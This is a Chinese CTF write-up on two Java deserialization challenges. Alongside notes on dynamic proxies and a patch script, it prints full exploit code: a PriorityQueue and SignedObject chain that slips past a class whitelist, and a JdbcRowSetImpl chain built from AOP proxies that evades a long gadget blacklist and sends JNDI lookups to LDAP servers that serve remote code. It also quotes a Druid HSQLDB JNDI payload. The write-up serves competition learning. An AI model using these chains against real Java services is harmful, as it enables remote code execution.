TIMECapsule & justDeserialize 学习动态代理
写在最前面
两场比赛的java题目都是属于那种,修复很好修但是很难打
ccb半决赛修复的问题给我很大的教训,改过来之后软件赛在华东赛区拿下fix一血二血
FIX
修复的时候需要注意
服务需要手动kill掉对应的题目进程
服务重启的时候需要是使用nohup后台启动,不然当fix的进程被杀死,就会导致启动的服务挂掉,导致修复失败
给出一题的修复脚本
1 2 3 4 5 6
| #!/bin/sh
pkill -9 dotnet rm /app/RazorCor.dll mv RazorCor.dll /app/RazorCor.dll nohup dotnet /app/RazorCor.dll &
|
TIMECapsule
动态代理
代理类在程序运行时创建的代理方式被成为动态代理。代理类并不是在Java代码中定义的,而是在运行时根据我们在Java代码中的“指示”动态生成的。相比于静态代理, 动态代理的优势在于可以很方便的对代理类的函数进行统一的处理,而不用修改每个代理类中的方法。
Java 代理模式详解 | JavaGuide
1
| 通过Proxy 类的 newProxyInstance() 创建的代理对象在调用方法的时候,实际会调用到实现InvocationHandler 接口的类的 invoke()方法。 你可以在 invoke() 方法中自定义处理逻辑,比如在方法执行前后做什么事情。
|
主要包括两种动态代理的方式
JDK动态代理
1 2 3
| 1.定义一个接口及其实现类; 2.自定义 InvocationHandler 并重写invoke方法,在 invoke 方法中我们会调用原生方法(被代理类的方法)并自定义一些处理逻辑 3.通过 Proxy.newProxyInstance(ClassLoader loader,Class<?>[] interfaces,InvocationHandler h) 方法创建代理对象;
|
CGLIB动态代理
jdk的问题是,必须要实现对应的接口,代理实现了接口的类
CGLIB(Code Generation Library)是一个基于ASM的字节码生成库,它允许我们在运行时对字节码进行修改和动态生成。CGLIB 通过继承方式实现代理。很多知名的开源框架都使用到了CGLIB, 例如 Spring 中的 AOP 模块中:如果目标对象实现了接口,则默认采用 JDK 动态代理,否则采用 CGLIB 动态代理
1
| 定义一个类;自定义 MethodInterceptor 并重写 intercept 方法,intercept 用于拦截增强被代理类的方法,和 JDK 动态代理中的 invoke 方法类似;通过 Enhancer 类的 create()创建代理类
|
来自CISCN&CCB 的半决赛赛题 TIMECapsule ,赛后复现,感谢Aecous师傅的帮助
这题的fix环境十分的抽象,懒得喷了
核心漏洞点在这里

将一个传入的值就行了反序列化,同时存在一个简单的
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| public class SafeObjectInputStream extends ObjectInputStream { public SafeObjectInputStream(InputStream in) throws IOException { super(in); }
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { if (!desc.getName().startsWith("com.ctf.*") && !desc.getName().startsWith("java.") && !desc.getName().equals("[B")) { throw new InvalidClassException("Unauthorized class deserialization", desc.getName()); } else { return super.resolveClass(desc); } } }
|
限制了只允许反序列化com.ctf.*
下的类和java.*
的类,以及[B
,不是这到底是个啥,只在序列化字符串的里面看到过
注意到在com.ctf.util
存在FieldGetterHandler
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
|
package com.ctf.util;
import java.io.Serializable; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Method;
public class FieldGetterHandler implements InvocationHandler, Serializable { String fieldName;
public FieldGetterHandler() { }
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { Object myObject = args[0]; Class<?> clazz = myObject.getClass(); String getterMethodName = getGetterMethodName(this.fieldName, false); Method getterMethod = clazz.getMethod(getterMethodName); return getterMethod.invoke(myObject); }
private static String getGetterMethodName(String fieldName, boolean isBoolean) { String prefix = isBoolean ? "is" : "get"; return prefix + capitalize(fieldName); }
private static String capitalize(String str) { return str != null && !str.isEmpty() ? str.substring(0, 1).toUpperCase() + str.substring(1) : str; } }
|
这里提供了一个对象代理,当调用被代理的对象的方法的时候会触发这里的invoke
尝试通过一个getGetterMethodName,调用任意的getter方法。
getter方法,比较好的就是走signedObject,这个类在java.security.*
下,不被反序列化限制,同时可以触发getObject方法,完成二次反序列化
但是我们需要寻找一个类,这个类这些要求
- 需要在
java.*
下
- 这个类反序列化的时候会触发一个方法,要求这个方法的参数可控
本来尝试了hashmap,hashset这些,但是他们都会优先触发hashcode,然后导致报错

因为hashcode是空,所以获取不到arg直接报错了
这里小林找到了一个类priorityQueue 这个类反序列化的时候会触发compare,参数可控,就能触发我们的代理
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86
| package com.ctf;
import com.ctf.util.SafeObjectInputStream; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.org.apache.xpath.internal.objects.XString;
import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.*; import java.security.*; import java.util.*;
import static org.example.twice.SignedObject.BadAttributeValueExpException_signobject.payload;
public class poc { public static void main(String[] args) throws Exception {
HashMap hashMap = new HashMap();
Object signobj = second_serialize(payload());
Class<?> aClass = Class.forName("com.ctf.util.FieldGetterHandler"); Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(); declaredConstructor.setAccessible(true); InvocationHandler o = (InvocationHandler) declaredConstructor.newInstance();
setValue(o,"fieldName","object");
Object proxy = Proxy.newProxyInstance(signobj.getClass().getClassLoader(), new Class[]{Comparator.class}, o);
PriorityQueue priorityQueue = new PriorityQueue(2);
priorityQueue.add(1); priorityQueue.add(2); Object[] queue = {signobj,signobj};
setValue(priorityQueue,"comparator",proxy); setValue(priorityQueue,"queue",queue); String serialize = serialize(signobj); unserialize(serialize);
} public static String serialize(Object obj) throws IOException { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(obj); String poc = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()); return poc; }
public static void unserialize(String exp) throws IOException,ClassNotFoundException{ byte[] bytes = Base64.getDecoder().decode(exp); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes); ObjectInputStream objectInputStream = new SafeObjectInputStream(byteArrayInputStream); Object o = objectInputStream.readObject(); o.equals(new String()); }
public static Object second_serialize(Object o) throws NoSuchAlgorithmException, IOException, SignatureException, InvalidKeyException { KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA"); kpg.initialize(1024); KeyPair kp = kpg.generateKeyPair(); SignedObject signedObject = new SignedObject((Serializable) o, kp.getPrivate(), Signature.getInstance("DSA")); return signedObject; }
public static void setValue(Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); }
}
|
成功触发

justDeserialize
这题有一个存在反序列化,并且触发tostring
第一层waf是检测字符串的 直接utf overlong coding 就过掉了

但是tostring触发的几个链子都在黑名单里面,黑名单还是很长的

tostring 能走的几个路子都死了,该干什么呢
vn群里看到师傅发了这篇文章
文章 - 帆软HSQL二次反序列化利用浅析 - 先知社区
1 2 3 4 5 6 7 8 9
| DruidDataSource druidDataSource = new DruidDataSource(); druidDataSource.setUrl("jdbc:hsqldb:mem:test"); druidDataSource.setValidationQuery("CALL \"javax.naming.InitialContext.doLookup\"('ldap://127.0.0.1:1389/Exploit')"); druidDataSource.setUsername("sa"); druidDataSource.setPassword(""); druidDataSource.setInitialSize(1); druidDataSource.setLogWriter(null); druidDataSource.setStatLogger(null); Reflections.setFieldValue(druidDataSource, "transactionHistogram", null);
|
不过我按照文章内的内容,删除/制空不能序列化的内容,搞了蛮久也没成功,不知道有没有大跌可以帮我看下
然后使用jdk自带的JdbcRowSetImpl,l利用之前某篇文章内的aop链子,tostring触发methods.invoke(),就可以实现jndi注入
不过一直不知道为报错,学习了软件攻防赛现场赛上对justDeserialize攻击的几次尝试 | GSBP’s Blog 后,了解到先需要实现相关的接口才能序列化进去
最终exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105
| package com.example.ezjav;
import com.alibaba.druid.pool.DruidDataSource;
import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Method; import java.lang.reflect.Proxy; import java.sql.SQLException; import java.util.*;
import org.example.payload_test.TemplatesImplDemo; import com.sun.rowset.JdbcRowSetImpl; import org.apache.commons.codec.binary.Hex; import org.example.java_RMI.server; import org.hsqldb.jdbcDriver; import org.springframework.aop.framework.AdvisedSupport;
import javax.swing.event.EventListenerList;
public class payload { public static void main(String[] args) throws Exception { JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl(); jdbcRowSet.setDataSourceName("ldap://127.0.0.1:3232/3fa0f4");
Object proxy = aop_tools.aop_tostring(jdbcRowSet,"getDatabaseMetaData"); Object compare = aop_tools.aop_addInterface(proxy,new Class[]{Comparator.class}); PriorityQueue<Object> queue = new PriorityQueue(2); queue.add("1"); queue.add("1"); Reflections.setFieldValue(queue,"comparator",compare); Reflections.setFieldValue(queue,"queue",new Object[]{proxy,proxy});
deserial(serial(queue)); } public static String serial(Object o) throws IOException, NoSuchFieldException { ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(o); oos.close();
String base64String = Base64.getEncoder().encodeToString(baos.toByteArray()); return base64String;
}
public static void deserial(String data) throws Exception { byte[] decode = Base64.getDecoder().decode(data); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); byteArrayOutputStream.write(decode); MyObjectInputStream objectInputStream = new MyObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray())); objectInputStream.readObject(); } static class MyObjectInputStream extends ObjectInputStream { private Set<String> denyClasses;
public MyObjectInputStream(InputStream in) throws IOException { super(in); this.denyClasses = new HashSet<>(); denyClasses.add("javax.management.BadAttributeValueExpException"); denyClasses.add("com.sun.org.apache.xpath.internal.objects.XString"); denyClasses.add("java.rmi.MarshalledObject"); denyClasses.add("java.rmi.activation.ActivationID"); denyClasses.add("javax.swing.event.EventListenerList"); denyClasses.add("java.rmi.server.RemoteObject"); denyClasses.add("javax.swing.AbstractAction"); denyClasses.add("javax.swing.text.DefaultFormatter"); denyClasses.add("java.beans.EventHandler"); denyClasses.add("java.net.Inet4Address"); denyClasses.add("java.net.Inet6Address"); denyClasses.add("java.net.InetAddress"); denyClasses.add("java.net.InetSocketAddress"); denyClasses.add("java.net.Socket"); denyClasses.add("java.net.URL"); denyClasses.add("java.net.URLStreamHandler"); denyClasses.add("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); denyClasses.add("java.rmi.registry.Registry"); denyClasses.add("java.rmi.RemoteObjectInvocationHandler"); denyClasses.add("java.rmi.server.ObjID"); denyClasses.add("java.lang.System"); denyClasses.add("javax.management.remote.JMXServiceUR"); denyClasses.add("javax.management.remote.rmi.RMIConnector"); denyClasses.add("java.rmi.server.RemoteRef"); denyClasses.add("javax.swing.UIDefaults$TextAndMnemonicHashMap"); denyClasses.add("java.rmi.server.UnicastRemoteObject"); denyClasses.add("java.util.Base64"); denyClasses.add("java.util.Comparator"); denyClasses.add("java.util.HashMap"); denyClasses.add("java.util.logging.FileHandler"); denyClasses.add("java.security.SignedObject"); denyClasses.add("javax.swing.UIDefaults"); }
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { String className = desc.getName(); if (this.denyClasses.contains(className)) throw new ClassNotFoundException("Class is blacklisted: " + className); return super.resolveClass(desc); }
} }
|
成功发起jndi请求

后面就是jndi的打法了,不在赘述
使用的aoptools 我简单封装了一下,以便复用
AsaL1n/aop_tools